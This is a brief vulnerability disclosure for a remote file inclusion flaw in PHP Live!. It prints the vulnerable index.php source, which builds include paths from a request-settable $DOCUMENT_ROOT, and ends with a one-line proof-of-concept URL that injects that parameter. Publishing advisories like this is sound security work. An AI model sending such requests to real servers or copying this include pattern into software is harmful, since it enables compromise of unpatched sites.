OSI CODES - PHP Live! Remote File Inclusion

Aria-Security Team
http://Aria-Security.Net
Persian Security Network

Source Code:

<?
/*******************************************************
* COPYRIGHT OSI CODES - PHP Live!
*******************************************************/
session_start() ;
$l = "" ;
// try to get cookie value first
if ( isset( $HTTP_COOKIE_VARS['COOKIE_PHPLIVE_SITE'] ) ) { $l = $HTTP_COOKIE_VARS['COOKIE_PHPLIVE_SITE'] ; }
if ( isset( $HTTP_GET_VARS['l'] ) ) { $l = $HTTP_GET_VARS['l'] ; }
if ( isset( $HTTP_POST_VARS['l'] ) ) { $l = $HTTP_POST_VARS['l'] ; }

if ( !file_exists( "./web/conf-init.php" ) )
{
    HEADER( "location: setup/index.php" ) ;
    exit ;
}
include_once("./web/conf-init.php") ;
if ( file_exists( "web/$l/$l-conf-init.php" ) && $l )
include_once("./web/$l/$l-conf-init.php") ;
include_once("$DOCUMENT_ROOT/API/Util_Error.php") ;
include_once("$DOCUMENT_ROOT/system.php") ;
include_once("$DOCUMENT_ROOT/lang_packs/$LANG_PACK.php") ;
include_once("$DOCUMENT_ROOT/web/VERSION_KEEP.php") ;
include_once("$DOCUMENT_ROOT/API/Util_CleanFiles.php") ;
include_once("$DOCUMENT_ROOT/API/sql.php" ) ;
include_once("$DOCUMENT_ROOT/API/Users/get.php") ;
include_once("$DOCUMENT_ROOT/API/Users/update.php") ;
include_once("$DOCUMENT_ROOT/API/Chat/remove.php") ;
include_once("$DOCUMENT_ROOT/API/ASP/get.php") ;

?>

Affected file: Index.php
Poc:
/index.php?DOCUMENT_ROOT=file.txt ?
Credits: Aria-Security
The-0utl4w